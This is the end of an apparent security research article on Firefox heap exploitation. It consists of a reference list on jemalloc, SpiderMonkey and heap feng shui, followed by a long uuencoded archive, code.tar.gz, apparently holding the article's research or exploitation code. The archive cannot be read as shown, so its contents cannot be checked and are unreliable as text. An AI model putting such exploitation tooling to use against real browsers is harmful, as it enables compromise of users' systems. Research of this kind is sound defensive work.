- https://www.mozilla.org/en-US/firefox/32.0/releasenotes/ [JSR] JSAPI User Guide - https://developer.mozilla.org/en-US/docs/Mozilla/Projects/ SpiderMonkey/JSAPI_User_Guide [PSJ] Pseudomonarchia jemallocum - http://www.phrack.org/issues/68/10.html [UNJ] unmask_jemalloc - https://github.com/argp/unmask_jemalloc [SHD] shadow - https://github.com/CENSUS/shadow [FSJ] Heap Feng Shui in JavaScript - http://www.phreedom.org/research/heap-feng-shui/heap-feng-shui.html --[ 8 - Source code begin 664 code.tar.gz M'XL("(*@)U8"`V-O9&4N=&%R`.P\:W?;MI+YNOP5J.[=M:18%/5.Y$OC1..YVUW0B"20P&,P+,P.` M=NBPYK.O>UEP#08]_&X->I;^G5W/6NU^JS5H6U:W];<__II>-_*?QQ$UB&J\:'J-7YCSQO8?F?[_?W<%_^-G-^`]_ M5@?XWVUW.\^(]<3_KWX=(K./C<,YHPY\<3MVH^38,)I-\OZGO1]_>?O#M^3C MG)'S.77"!0FO64R^=V,V#9=8!ZGRG[-X3NTK,V")84S3P$[<,"!>.*OZC',Z M8S7COPP"%]2/V6\IM.9#,HG#!6>QZ82^N7`#`&XZJ1^9+*`3CSFD<4R2.&6B MH8)#GA^1RF50.1`WM49Y1P?&'QH*2>S.9BP>S^QJAL(U\'IF4W)$`K8@K^*8 MKJK0*G_&DQB>5507>"<:!Z`B<-,)[=1G06+:,:,)>^LQ+%4K4:4F:XN/O-8D M=%8FC2(6.*_GKN=4):"LLVD85Q&\"Y"M`_@Z)&#\\-?SYS510R*,ET+JU;9+ M89I5`PJ=TF1N3KT0.A`_8PIT\JLU4B?]?K]6U)<(F6X0L/B'CZ<_0A_J5L*6 MR>LP2&`/@&)&*9]7(QIS=@)`*$7%@C\A_$6KZPBH=LG_B: MM+G3*@`Z(MUUFJ#`5JLE,(-IC1P>DE8-6*J>M$;D^)@,-)GP\\Y;6:N,:`*L MQ]F=>^IN]-2]J2=K6F*/+@IM*0K!5NU`0#X(M[5L61;T*(&ZHQ(T(!1#0@E> MU$D;ZK76`4$=OY:7BON:L%BD2:QB#'_DOXRUBE5.OB6-%AF2YT#PO-$?A:4! M(YAZ"3F2=(7:51_J"8V-PD6UO4]Z[9I`D]1%'?T1(PTQE!ITL*U9^0Y(7ENW M40I'@:)"8ZCP^1)%D/)?*'N0*0$0UN5G]`SNK--3G]^.3\Z^/SD[^?C+[GX'$J:%G]8MGSOZ/;]'(-#6[AZL.\'>TD/>2V:.8(@@^M\*6P2BHMDC$&`I:CC=2Z$/ MH`8P&H7>[+_LM+J#U@NKUWOYLMO3[%]$2C-54ENW<=DP(^B[(21XB^&QRO9D M70WJ@'E]ERK<:-$BU+S<8.^&7]5O):"540T^6K4-ANDJ#\P!JF_^&VDZJIN_ M`9J_8YP0&PUWG0Q8:5DF)EH$80TUUJY M#^6^5AY`>:"57T#YA59^">671;F%^%&MC/A-M#+B9VMEQ,_1RH@?T\J(W[0B M&:G[MJTUUY:WU8U=OE=UHKP3$"A0FZV^:0MYK2A_,4$!0YZ.#FZJ\>_@C8UV MSO8;O0(FD\('W()#^U8/7LW$4%H$$S)&M_F`P:+?Z MB&:OC]Y%O]?K]`OR1A!=C+G[.QJ4?M_*="VO8(.+35WPOK>&(^5(HO#2,0BZ MJ(\(QJV)&\P.)_&Q8BH:X=(SDD#H)O`@X53"?S_YS.R$A.*+5VZ(1PK\MU(] MQUX:EP0VUT9"/9.U!]P7\#=;]-\7^G'@BOD/BS4,/PA,,)(&*GYE//2^T08IH ME),-7:40IBP(BU=$/*="7*8Q8R19A-H]3I)0PF82\IWHCH3JK)/>81Y+6%4? MJ&;JUQF3>M[.AVG@L"D4'8UGF]`%#;?WD)%W9R]9!:VG+5/CS!Z#^D$U/68_ M*/Q>FM"@796UE"G(6)#S+0JYBX3.Y/[\YW;6B>>J+CAG&LR8F$YI@ MM"K[I.)BWQ5=+;_W1R8/?38N!&SL MLV0>.M4-<=XZANFTHJ>KH@4HU-@%U5I*;WA7Z'R[F(*KK8M=-@4?DYYE[>*Q M0D'EIX3M#.,XC1(0:8I2!*B`WA,*(H\X@E\"LN"6S34.6`*IE1\HR#C?:7/< MAC)L3H^RH2:]"II&JC4<)J!05SOF!92%-&F$T\8$!\/!3Z!._FB9>F1".2.8 M.2\8)A3JUVBV' M32CH)"#3;9F6V*%.(@L\N4F2%#635'/=SW-9*W@O';4X]+S<4N_Q#*7]K)YK,G,H'2_T MM;9-0)J5AP95.DW`MDCXF=9H+EHMHY*2I#\G1;UU*5+TEK2^=L&[]7<@*J:I M)*-Y)BA9E+I)XS]%WB2F`0>#Y0M"Q`RMW;74)O27*-C8;'%J3<4`R9W2;*U+ M\Q1D:OR92=B8S:U<#;='-5N%^Q"><%3<;WH':S9N/*0,Z`XTHM^ M=P2,<.!';Z0E,Z@SADD"14EI>3M;F8G=!*8XX$66X"\M`N0MGV&DQ`9,&(33%/U$AAFD"=W*ZQN;D)I6D1A*%!""U@W,IQ M4UF`0B`J-IW"Y#IAE0.I(I3/$83#_!!=#%"8OY=TW)?*#R011<9#&HR;.S_0 MLS'88C,3PY;4CV#Z`Q^YM+0K8\@\5W-PIT0*1*4NGS/G&R6/T-EA,UL(/VS* ME7'C$%M#$.&%U#FJ;"!Q4#F6L^QA$RN*AKBR_K?8__'3VU=O3M]^U?T_N_=_ M6%;'&JSM_VEU6M;3_H_'N$X(]2$XL[W4P>F>RVT>(K[%Q)8=HH@G+`!7%TT7 M![NW#Z%I0D[(G(*C%H,IO&:.@:;W@VM?@0&;NI@V4SL]'`%&.$LK?Q)Z"-%' M9P+,*#Q-;6FU:6S/P>_;XP9Z029YQX2'Y0M#/30PO\&'S>;,3>;I1*Q"OGY[ M=O[IO"D1-IX]75^@_Y*(S:^I_W?;_P<68-!%_1]T.D_[_QZ;_ZI9/=S_U^GT^D_V_S$NZGE#X]\@_&[$4U(WHY5-QF/XA$B6C<>& M\0_R]OWW3^;U_X7]GSF3L1/#-!R#'#R>_@\Z8//+^M_MMMI/^O\8US\REZ]! MWC!RNN()BUV7DS<0'V?[?`W7CT),:_+L%U_E/Q&$/?V9:7WIZ>O MSMZ,WW]W_OK33V]K!6@WN`ZOF&H$`K`OW-%QDJRT?N3(3(%B;0-S4"8.4>O# M(J^`/BC^&:*;0Q#9U8<=@`!Y(_H",ZAN1G%H@UA@33>8@G"&,:_6+JS1GQNF M'(P"FG>P.6BQK?Q!QXP0'W?([A0?X=:*O;UA:;V+VS$3F9A\BWVV%VY'/:&J MQCHQ<4ACH%<5O<:`^JB_`IG+$A2!-%9-PG$.4?[8)[>SPIZGP15_6&9(F+O8 ML;ZI]VL(HB"(&MKM-*`QT/>!:2!A_B5:*`5'CNGVP<=I\,!#1XB/.W"AB/AI M\LASDZK6#Z@I:$\5GM5P"W-+K+5`2:SQ@.XV[#7MM=,82)<(NMRNPVNU;]!D M06G&;P& M277O0M)G1%(\BC4D.:+D4.R!%*0YWJO=V%9LII-Y=1T"A`;=M99R?4`;+?0Q MEN0_(@@4]6F[F"NF%"WN,@MQACG*A^6DA/F_Q2G8R4>))KEHV"-RB'L1G$48 M.[>Q\A/X]@T;\[RJO;(B1!B5,/!6]Y,%!<5:=L7QT.YM`K%I<7<8W/87&5S) M($1MC`B+'B]:H_L:Y!O!94S6)%F)8U%UFUU63V^TYELD_Q_EY+U0!,9),L=] M7,@.L4D$)#%+YD/P5P[5:L9&`*3=DCZX=D,XVUI9N47:'>4K:'?$9*65A476 MGRLMUVXIFM6>LEK;\S^1,_DJ:P#W.O_?Q_6_=K???-+_Q[A4]G\XW)W^/[KU,HQ7>'YD']SUA`4.6)`JNM2QR`DZY*!&E!>8[8Q6 MH)NE0U4&6T9>Z";RO`-?N!!^T=A?D:O`G3+3,.IUB6V]3N:4DPDF$A/&<=_T M`HR/W/X7`KR%&\P@.*N3?XEWA'#RPFR1Y8M^H]_5;@[(^0=Q6_C_^>,+>/[F MNW>D;W;,EWW+,L6T-#*JF:'SN1.8OFO'(0^GB3!X+&BDO"G?2,*;K*R:EG M`4KPWQKEN.!C$W48O/*E0"5F'J/@KC>O7;9H]E'1.@CIE`8KXKA3"!W1>\\0 MR*K+33V"?QR,/>"!)!T:%YV6.3"M!N.Q[!4ZG2:1Z8>_NYY'Q5FC*)TT]?)4 M<3='1<(`$,W:/D#LX2F%+X`FVDM0_2\$U2]`O8"?O2\`)=I+4"]-ZPL`06L! MIFM]"1ALW:RAUIR%"030)U.R"E,"D?N5U!::RT"NG)XC#CO1@"!A2+:E%OKY M#.H6T\">?U,WC),`Q-:3YY*,AG:!'4C`E8AY(OH*F/0E.$3F$5%J)?J^.)6H MHT\AMX5Q%@,:FI8Y#*0PC%A<&C8+FDYH\^8GCCO>`;FQ@C26<,82#HS[%T`` M(NLPQ\*56.]2*>.^.F7B>Y$""(&CE:!289T,!PAK)V&\$F00^^1L+PR8VI#] MSDU^2">",J'/"*Z9DBJ>&2/UU\/+R\2/+B_KR#JUQTX,@SIH5X$U*B62T1-S M2B[UW-^5V13[5@E-C`I-E\(D368-K&3:OE,QR0>/@OUQL8K>G;"!\O2*QBBC M+@&8;"F2.95__O/XD$`K;+0.NPX8?^\&0..5S#P)$&Z08\IYRLI&.D\@@+7^ M]==?C6]P=RT1#(A6CO$-D-;.4)34O;S$IVJ;`L%D@V'D&:.=4UA>X[IE6A.M M138!-?)S?`5&>25"L@6C]03+4*QK`0^F(9X3%D<3KZGK":,NFY3!R#S&+6#R M65'6+D.(TX`M8'FF=6O2?%R\]^&Y+<4(L`,LZJ'^WP=EH`,\]H] M6;>30O=$:IH3"ND#D2F>NY/0Y<'Y6IG:@LT;*@$\='GDT=6:5JK!"=AXNDPV M*T,4W+_(%K5'9:DJ@\ME2V"!)ETN<%<=-J6IE]2('`,K]R!2H%OD5M[/@?(D M3NTD!0RE0?4A0(\U6BK[=HOU"E(`"I/1%C51),HT19Q:C%QP`T[#X(JMR+O7 M66L=H)JS+QK7GYWE2,K!\0;-0B>LADJE:!V'0*)%]"ZB(:C)^<2@/SAR/\`5@ M(;CUT@?1CH^":Z4.UV2B*([XJWO6$M\%6,!_QP*8-7?(3^8K;.E8/; MQM"/0E=C1A9Q")\'-"Z:(\9`%^%3`9)RW M%*UXQ@#E?`.-M)K"A\5S?:!*B$?VIHN\?Q1E0QH)0F<4?"_X!S,*NO4A!,QD M2M$],C6"(+YR:4>=:$WP-0-;QH8AMPVQP0S#>VUMCBP`E)'SPZ>.Y$?IU2=0 M73Q5;U1`3Y;,:#Q!5MIXLEJ<[:KM9S$'Q/K*2`+)2T=&&M)$EH8MDPT-=805 M'Y7("_2-Q"9$Q#I3K<;FE<=*'Y'N4P"6QB(VST/R+'<@(G4,A3Y*QU_`U##% MH8,4(%&*]4_LO:3E6!,-1[;`ADD3HS#Y->1#+IYH,+DI47.%>$Q33]`>N]F+ MD;8K(1`A48D4`RHUQ"GSAG@?S22=09P/6&2MR(*"R$&#_.4G;@"U&1>OOU&' MP]4+4*":@>_`$"<+F^K$.L8H:T$>C_O/;G\Y/WI_5L39IW4P_/J M$G/C(G(C+2_E1A#!1=1T0XS986`@5$U5%Z@IWC%=$QJ0H#`ZH5&'-GF0GG57 MEQ*6F[`92S2IR*G_5R49C#>,N[,L"8(!NPK'P52`07+$4R'>:>!3?C7.S"H( MD4K""#K2F,BZ8B3*6B%5DSDJKH^6W&&@OV`[N:`:>%D)OC8!!$".>9^\`^W" M1S_^^.8[$-^3//^*#$Q"&#^HL*8@P@J<_$][W]K61G(LG,_Z%;/X(9*,$!)7 M+[[L(3:[RSDV]C%X+\%$&:0!QI8T6LW(0.*\O_VMJKY?YB+`WLV)R,8P,]W5 MU=75U=5=U57\8$&7&-`V8DDEX1IF\D[M7O'.^1CBHR#!R-"P4,U@_>& M[OIS(]*4UL44PQ%A]](E=H)2NTC"(4`"P73V*4YF*9X>`!7XR<=0]ANHB6[E M;)$<4/@=.G819P'8]8<]4&_B<51CW(D8DZ+U97YJM>"6/[)/RM%B2O&686F] M&,XB4%\(]HK>W$K@O/*_HZJ?`W6=`Q[8J^'0?:>?IWR^:ZOLYV^>+GO?:74^ M>[Y[WVDCNN(9E*KO_"-Z"WQT1V%_D163;EHW`@\AM1\)<,6LWL=U:9A<@%K0 MD*P47HP36+C[S0I<^5G]<[^EW:X(OEAQ2)!+,=$*__+9@OA,?."V*RKSQ&CL M,ZD7"O2*5=-MWF[3P<[3,[.FW<'/!N__34V"O[D\\)G^YZGY.9#SU,9JQ9UY M`LR*S?4KHNZ*\0'_^"P61Q>;SY[Q^>SYTXO-"C0JP:S85"L%HPUEH.!\5OL2 M!SFK5^+0X[,/3A$^P1SXJ`']6YG$LFM^#O0_;E5SQ9)N*Y5K!GE<;M=)8Q`]7/!>U\GJ^@5_-:N9U6YE?0[@G;4A4= M-L6?8MPBG87]CS"COA#!'#7/U"=6W+4>';#EXH$LK9[(Q#T?W"^[4?H^BH8\ M*'*")R(?:;O&#F,G,]CEX48H2K/TF]K"7_#W\O]CBN#]WOVOX/_;W=C9LOW_ MMCM;"_^_/\S]_[DN[3,NRKL;U0H^XHDPWCYJ!?S*,/[)P^1W6FAGZ#&;GK@< MHU]#HWLJ'`3^,C]P@/C+_,#!D]71^&"TIAYT[--LJBYVJ=HLC&J]<[W+`<-V6XKL/]$Q%L*8_,NJ.KA-P">:&I=1Q+Y>P`#MZ;> M(795R;K2S6,JUX,&*[8;W$1ILUYT"]RM,DZ@1BT7(4:XZ#*_\.<^OU$2"LNU^("6=/'W(,PB_1F=*&6Y:#0AAYGB M@#+B($@\"S<5B2&N0K4:-^RAI";?OWKEU>Q!<#%,SN!]#:/%8%HAV69;_-%H MUGB[/5Z$/[;Y;RA`]NJ!O.@Y.+L0VTQ<^6J,2#TR8=(+C$+,C=0];M^4[X6C M!;V`CMPP4T+Z(,_Q[$TT:3 M1_;A.*N#<)-TZ,\*M7K:VX99UB4_K.OO)X.S]^_16KR<"C-QW;IT"X@EG&*&MVW\AX]]BI&#A5QJRS\0-P4@2YMM4'+. MJ5Y]^=?5Y='J\B!8_G%W^=7N\A%'T>ZR4`BS)N$*5X@D!P^Y3RY" M7&Y2#]@HL`O2#'LFE7@]_8TV8B)[7B"X+TZ'\?AC0RO2=-7#G*%:3EG"&C8K MXGZ`H*A'.C@MUH(V,CHGH0Q,0)#KU6#&7HF19:]90E_6NY:JVS1!M?O#A.Z0 M`ST'D:)H`QW(FQ[",H<'#VFQPO]5TDX%:>4*QFE,G:Y"6_+'UZAID!%GIG3( MBC.B*E;HL<(B/@JNJB:!=7+JKVFEU)-<:D3&PF5$UD>TYNYEXO-`+,9\-;9$ ME8P-QF2*Z8L+6XWS^&(V93XZR81E'R).PH(]_L;/2_3J08#N'$#047@1_@,E M+X793(/&($Y9UFM,'<:TKJ:[O$(+/:BJ+6&?PN$,!!'_4-<7$5^U3LT/-",\ M_'#9MP+0LG(>].$%+],;I\.$A.][>RFR6[7K%+3O`=]1DY3W';;2'617#6'] ME0,#/ZIF^+KW:N^'O;\>'.X?B1@@HA7WN\V:SN(-2/6F\/],)`A$(N"?R7FC MSC[V/_8R:]$[B\?8G=1?37VMNTX`Q@N.,!2F9CBL]U[KOH4IIG2VL'@8<'G= M'M-]#$R`JIUIV(/&I@(LJ.-!B+>B,')_'(XS'X9'QWN'+_9>OC[<-V@NRYC+X]"\9#`=L8MW M2O+P8@62QV`_T2*_B\2ZGR4]7*&LJSJG&'`M'`.,E8'K!Z_D+F M19!(4H@>!0'+0>Y!\,LOOZ"?>80)I*:1$*S2I;:%V4-&L/]'%SCI=8?NFJ-D M&FEPC+$7W)H*![3S&3K'&>=PN&_E_GD44&@03D&AK0?D?FQ]@P\;Z]8!GR!` M5DZ!3">!73\MKY\6U?^MO/YO1?5Y=;,[*Q9Z*V9S!>>02M*^^/GUVQ>]HX._ M[B,--W>=^6=AP+.R*M!YH!Z5@]H2BSFQ%ZD$$5Z$""[1D3Z!-7W8QZ1]3+VG M2X#\HE@R1>=C\F]D7MPUC;]L[M3TMC8!$<*FB^F4USL>#87F6XZ,$`&43*3U177I$73IN:OSI6XURY%@_'*/L0M`SRHW% M:+,\.*TW&=S<':F6-S/XX"4=LE/31&,\94J:<=8_&_?2?[BOHPO!#^X'F;7/ M_!2-96*CCK6,VF/`"#69\KG/R"G:5'2%WKB*AH9:[ACA/TVG:B44.KQ[%;"0 M="C#PR23AT'T"0\CBE=FPC2=C7#;4Z<-G*/-/(;5Q0.##32_DC[@-\")WT!4 M1/V/E'<8LZ]D2=+.DT4E6I&7=*AUH&APA_%N8SA'RV.\QE#4+)L`]]@BS9ZR MOHH9-E>[%:?,;`SBK(Q562$^-=G3K01PB`L8CX,`8F,L'NLR M_P%M8)C*!:L*JIW#.*4TM#R"A+5^L+=V:_062*:41CZ+^>QUC_/J]?H/=)L[ M1$Y127&%W3WT$%-DT*US_P&/*CJ.KLK&@A=ILX@E)/`(2W5X:`AH45Q,02Y> M*1.ABUJR"K8Y& M1-XS)@E7#"3]]9CLZ-VY%UOWTHLLR4#&"GEV%WQV&S@DZNT`D_X MT7L64"IL/`'P%WCB78'Y/,(IEW/&X=VZ^"^')[3=S*B.VB%\1/\^3Y/&]9V\"N^,2L< MQMM0E/Q8M7`GY53-Z;(ZI_86>**S1#$(M()AGD;"C\EB7J;FSF!K>R_.$4JK M=LP=U5R3K?'MK2:]1AH=`<]TTC^;D\EA:8KLP&DH-6:LKK1GT0D/=)Z=%G8R M=*/W+":30\,_K=>"1TU,OUVS:LE]N/F:^Q369>=U*SUWU]`[9H&SE=#KJ#_+ MH@8;++VL4$'=.:5Q;[/F:8EA6`(=:5+4A$&\EM4/T2X=TEG])^>0.0A@:.%_ M3!+PG9%!$D4"T"1@?AHN'GG<(M]7X"#C?&J(W_"(2@?,@N;C)WEH*'Z&S&<$ M?YW@/VV,\<#V.4S]ZZ48N@,C"C1S%UT,P)]393=04.OOQ_7F:2VO?:#Z!./9 M4;D6=+M9H616M63`"]H';)S,*ZQ\*;?6]$92)FMR".T4I=\GZ[NG_B&CSU][ M='*J$.D*&OOW&,6B":=-+&U=D-_DW^XJHV]EV!O<(#KKD'TL@G+,:>FD<]KT M6I-I1*$9*"-]PUZUC2H^!(R3'4M]:K:A\C2>-.HOZW.8!S&+ M]$!J4A1CB8+>D2+%B"5T*1<7T*XD^Y[FEJW1$:/8O$QN*$741HH6"&R*3?GTWBB*GVS*PX9B6>>HR-ST#/ M7A<@N6X-($GEA3G!#F58^5$XZ67XDD MBC#\V41LN6K*^27#5N0>Q'4B8I_(@R;Y!\91^<9!$1<#Q+_>!-WUIS!THDGQFH0G-U0I$H;N#:&^#Q@M9ZB?XZ.LJ=A;4M2P1!>M@TA.F#C MO?-11D[EUF4B>T%E%43I7W[YI>YWUINOU:OY6Y5>>1'P>8`QGK,`XQ:A_1TC MHQ&CP[!$8?^2,T(`LW]Z@W%(![PVGG,DLS0X'X87*G8M'9*DDV1,:QV*!5I. ML(S0%QIDR>^N-]'MQ[.-QU'!S3CF*L3X2>&-;JC'UZZ9GLWR>&Q,YM2@*IJT MZ34_5$7Q:@E*YX39]3VO,#KVV<(5!F\-D(8A'A[UZ2YP^"F)!^CU7<>XL\/P M)BVRJBENS]U:T?;*D&P/G4G24IS3$K1`3:+F>HD4BRY),=G`D)*;EB&`XF"S M`$J5[:Q#BX;6$]>X[B MQXRUM7,VO;NECAAB0V4B%?1N/-7M5MDTQ/LO3#ZPP@9UX3D:CA`7]M$D,).X3T6I/VOB MM69YF_*BZ#TUBL)QJOEFH0V4HE-RK2S`^)("R//_00/1-1$MNH9Q[&<:/$+8%::2'ANY M]%"3&M@%MR&^3N?0QTM+JT\X6C'S2>7Q::/!=T'Z$6-/9K5R0[I<&WVV'T(; M00/#GDRYY0+Y>*HMR;APG[J`E=%3V5Z5W;7I]=Z0==@VP6_VGX1I.H>7@(:E MW/0DDYOV((HF^(?8I.I^ROHFQPA'7[31J;3)R?$_1$ECV+*;V@[<];ESBH.8 M(X-[TSK:=%SO.%=Z*Y]\.&U+`U6M;"Q-.[HUGE7&TN"\XG$L0A?GF'<\U7`: ML:UY%@LU;B(YY]Q[4DVUY>G7R4W!<72UU%I#]YPF259-,9IF9"B#\CW+VQ#X M\>)R+BBL1L]VO!IB]-AU;@`ZL8YH389E$"QN?;NJ66OEL`0SLDZ3(VK_([_0"G\A M8S9P$N`1(%-DKR[Q2B^*1"JA\61CG`RB5H#_)!-MX>T#C$&O M/\Z$/[KBR!.MNM*X@1B*&N'?]4V;JP0*1FZY^%R'B8IZS+8;4S$:;"GCS#K3/ M:(II.OF5.;5(S8R*@C.5H.@D'M^# MAQIJ^LO*9)O+:=!83INP&&,E+01,RU)'<@`5I"S,0?-.^0L+8-XFF6$!N+DS M&Q;#FC/-82ZPXA]O!K[JL&Z1`+&@U_-G0RPBX3VE1BQHXHYY$G^?(3-A%6=0 MO`LC%*93O"VZI;D5"T;K/O(L%H#_$DD7"YJ[4P;&>J&,GT)NMU997A>C?7R>;2WJA-'HZAE]NVT`Q3B<45"S,2 M9AF&><$+WO:^0%/V*NF(%31$0C:]3*YZ3)CW2(H+=)TND^S'C84F_JE&T#CZ MZ8>#$5!]G]GWUC0.DT$IFG6?YRGJW*Y#O(X/.SK7*W!'"3PN@J>F?CXHOKIG M+:P[LGS9>3;ZS(POF+5R`L,2T2T0%8RF9C7XU&AP;F@X$N1/`3*U(=:Q%GN5 M)3V^1K%M4W7.LH;"`M>)XYH)O2XG,'G[)0=5B>SI:'PSQDZKYH:W/! MH3"3?"8*TC7-RY8B%!P[2%&E*CF55 MA?+!K8!5WVV\IPV7[TKRNZ9/&2Z@.AFE__W2[;G..\H[;B--Y[0*@COW':M@+R[CPCO<:.>VW-D9G-;SW19UUTX@@GD5 M7;Y%1WPY=4!+C&!])CDD)+P0$Y1`0#-F&1(+'S"W`3[V>MKJQ4_Y\M>GPM.B MDO4G1TK-+5.TQ98=7I:C:Q]$%00@<+%TQ:7"@,X_&>E4N`=IB6"I+7IL"T0) M+N9`E0ZF\@^7BT@J5GH3)WNQQVAU&GHY&I=B:G38P!4J[_S$?X9?#" MN!5#D3`1#GF.$+\5=^6#8XG@36;SB^1<%N37O]A$MU>&W#7GA*JY^"RS9:&A MH!I7CV?C7A]V&;#EDG']Y MQ=A8IIDZ:="R>!->U<`QER91*]L;:ZV5K(>,=+.Q94O^LNZR.1%92U<:G(4* M>U<.B(Y(H_%=5TNO@XL*"LQN%*0?BWG4HX!\CE:W.]6[+;;,=QIL$%S@EZY>RTM\!Q6\2S` MSE*K*]B-@A!D+[@I0\U-NI*!^24S&_V!;IQ*//2L(7E6OS:$#J)DJ5F4>.NUIX%X`-.9BK7REKJY`FRI!^CFH':V;T^ M%]6Y`K/`51$\E0S?^L%(2,H8"(Z8AT8U&]*/&ZBH$9119!8K<%[E"5&6S#[N_JY7V M9-&"!$U9EWKU)AYYK7K\946<2*W2+C"")T]&.CO3':$;(OS<.CHP.SMRFG*\ M"H<;>(#JM&M_2`6^KO\L!W6R"Y!/J\3^=(DQ2=(8_?Z^/C6,7HZCZZQ'P>IR M>WF[_B'T(T3C=^X@E?P2G=L'H?#[=DV+)#U_QWRW+\P['EP)IXN2HPDS-X/F M?1.I6W1T:3$_)--<$,Q18U=%_=U=S1MA;5TH%+\O/#X[=Q#$KL@UEP!]H=#+ MBO7B:DQA(_C2@A?]N$_(4^85DK.NO5)N)E0?L&UHW@#-`/,Y`Z16T`\G83_. M;DC;YK!!8BNO:-L68-\*K!`W:&?^WO3S6C'69P%C0#"&WSW2U!YCA05ZE3LRQO&TIQ M([EFJ*Y>\'M4^)[/=UE.A.YB$NJV.UF^*QHFR<=[VVHRYGSVU+OG;)*T8$6> M.$5`&!==4E.=GX1&T'8=2.X6D6+]^#=Z_)*7"]N^CWT+X]/=;4HV00NVB(R\ M^9D*;,+[0;G#4'AIK'A8O$V4P#$N?CEP9*SW?`":X;.'\2`*+VD9/((S&(D> M9\%9-$S&%^P*'S]**N26;ZIQBZ]NWMY9'_VB>H(L1>//QSYH5`&4>\>SH#(+ M$V@?$_LKB8B%);@4G@+PP=*BN>AC5GZ"PYP,FL72BT.U]!7/,NT=N377(DJ,CT(B)JFS/R#:U"@V0DWOB5;9[P#'5NQPE?^%M[U%$W MV3?K%;2'<2'/XVN\?`THQL-AN+L+KW=W&90/J5;@0XJOZ;T&40L*,5$9>MTF M]42]9G4C6Z_,TZMGZ!4G81HE/2X>.O']F6\+CZU]WNO2/*4=W<]E&RUHPKPN MH!HR;@Z49!!2*!FBF%^(`&F@4=J1MZCHL6]M]*-BZVJ*K3?DN#=WJV_PI?V+ MP?0;PIUQ,H?1!LE`?8S9"6B=62))-/%/58$5Z-H,4G,>3Y0R2`;'TD1GN-&- M'3G5;\/#`J@70#4NU&Y]E/!W/A&*6\B[##+W=+JGWE:;:E^P_W>=ZW>:Y_]1 M<[P2QU0CD%H>F\4@;B-;J@C!/ M6H&9TPF48_[1[\JJYB%=>NUQ4ZK\[CU./%*W>:7S4.7_&=)BH+?Y$W11WV+KN,4,K+^:.@(IR64=N(A>J<'MP7G6\C MFIQ#XCG$4Z%H<@8BGN<*SE>4+L:)]AS31COFOD<)XO&TOE^9,7=W;]7E2CPK MHHGRTQ^.NDH71Q$EZ5V^/R+I&7C#TG0"\B*GNQ,A1S:N,$-N*U#6X2;+GF6U M6::"F"=_W.ZCDM1I8$Q=R[OYS?4JTNSWA'?3C3S+?(S$T;6PSN2<;'L_LY/< M;TP+5Y$T89Y;>!\WPW\;RBVK928!DH_\_MSFH%FV&]246SY2=E\$%WLZ44DN M&P3//0.O>3;+=R!,,__>()T^>_JM<:B&C2M3%IRXX,12PNCI%^[,BP^"_=?? MU_ZT^/G=?_K)(%IC8[[V\N#Y_N'1_KVW@:E:M[=K$&"&G!D$?PJG%Y.B]N)DF,]#(@B=()A09@V04 MHIM%-$YGZ>HP/$O;_63T#$#MX1TG!)72Y?7IIVC0QB;>1@`@F\9G,[+DH7"? MI>0[E":S:3\2P1C"Z0WJ8:.TQ:]H&@Y&(YG$DU'<8;N M.C(29'89LB"1Y\EPF%S1361,U)3QF`=8;11E)"2[;0LQMM=A&.'D"4;`0:@D MACRX:7B6?(HHQC[UDDE)T#/C/HA!BG&$%U0I58)L5.8>41A!F["9BD?1M`T@ MUETT*"F*I(9``SHYF/6C+X,)C]_*``V2_@P=H4(Q7&L8P00^8]H6Y"+0#13- M::@HEKO6">S91CLXAM=XE"IOV(6S#$.V$BX2?0JJC.&41^$-Z>UG&/6?W_\\][;_0#^?O/V]4\'+_9?!'__^]X1O*C7 M@[W#%_#_7X/]7]Z\W3\Z"EZ_#0Y>O7EY`(6@UMN]P^.#_2.,A7]P^/SENQ<' MAS^T@K^\.PX.7Q\'+P]>'1Q#P>/7+6AKWU,Q>/U]\&K_[?,?X7'O+PX%;_;>'A\\?_=R[VWPYMW;-Z^/]@-$^<7!T?.7>P>O M]E^TH7UH,]C_:?_P.#CZ<>_E2^H@E'MW_"/`^,L^H+/WEY?[#"+TZ,7!V_WG MQRVHJ/YZ#KT'3%ZV@J,W^\\/X`^`LO_+/B"^]_;7%O;^^6M86_[W'12#S\&+ MO5=[/T`_&L7=!RA`V^?OWNZ_0OR@UT?O_G)T?'#\[G@_^.'UZQ=$V*/]MS_! MVG7T.'CY^HAH\^YHOP5M'.]1TP`"R'+T&*!AC]X='1")#@Z/]]^^???F&.-^ M!3^^_AF(`'CN0>471,O7A]1AH,;KM[\B6*0$$1L1^_G'??CR%@D(?3M^NX>D M.#I^>_#\6"N(+1Z_?GNL]30XW/_AY<$/^X?/]^$K(H5P?CXXVF_"Z!P<89$# MUO3/>]#N.^HXC@E@QO[4^*]%8Q<%X?Q/CI@>##2/?^1$[Y= M\ZS_%X,S[D79GMQ\O?5_N^NL_YL;6]N+]?]K_#RHLO['HTDR19>(5/P)*S^?!L?H6D?;07CXGBY$XA8,'@YI(XGA9BA\%X_>7<<(UC5Y6,?!`@?6 MV"%0<$!O]BE\E_7PJ+<8^5.,'X7B!GW^!S1?MO#Q%V&$Y_B$*:94Z M/%%:63U13E2%;^1[E=.P_.YM5U8>TY7C@II4P&US-BYODY>1?9V-^[-I<3>I MB-X:N9B)*G_VU"D?OOS\NU8R1WP.M:=8,0UVL*122S0C"_KDHMI)"`.N7=84'@O/F5 M$)3VH8T?ZK6<)$IV8?;)+&YG0;*J:`EG:.B=="O:$%+?G/084"!O;.EMG=G, M^9'5IW#(C0TI_$EI<:;TLJ9?RL)O_%(67>&;BLN++FLTEWN@#*"6&W>^IF3?&;'_S5\<*B"<&M75937>B@WFF> M%7680?'%F%)(9'H6&QLD6HCLPJ>^\)161>XA<38[Q]B8PZ@!?_%F>'[J;SA-`K'EYCM,.LSKX;>!;\SDE&&GDY1.`X$KV>-AQJ?GP:-9#K`3WBK M'M,J80+$1V:6<2C)4+62(N[JA<3RC+%B*0TU$0V8U=6HKD#Z:LT5GVE.=X5#9#:+4CJ_ MYVVD:K$D*6HH0`^"V<7P!A89P`D0P_.`&KN=!=*TA2L=YK04H-KDU)1%E.%# MNT^#KPT9N+WI43H?Y:N5F[4:4P8@J^8HO)B&?1TJO`G_(2Y%.JZ]T._Q(!S" M@!A%=&LZ8MZ6B&O!PU;$1GYM]R@09K/=I MSOO?_.\MPNF/9D$]"ZW#EV91/EAT(F!^>;7WP]Y?\6":-<4'R"QS=+QW^&+O MY>O#?9:851\GG<%P06;\I8\:>229+7E=.(3ZKL+:"2Z&/_FH+'?6!_!$A*._ M#Q5QK->R/N;R M4#X?1=&[JW:LY7)74X@+[3PB7V*(;)@M*SNF,T/U^`#NQ!/U[%N>55A(`^"F 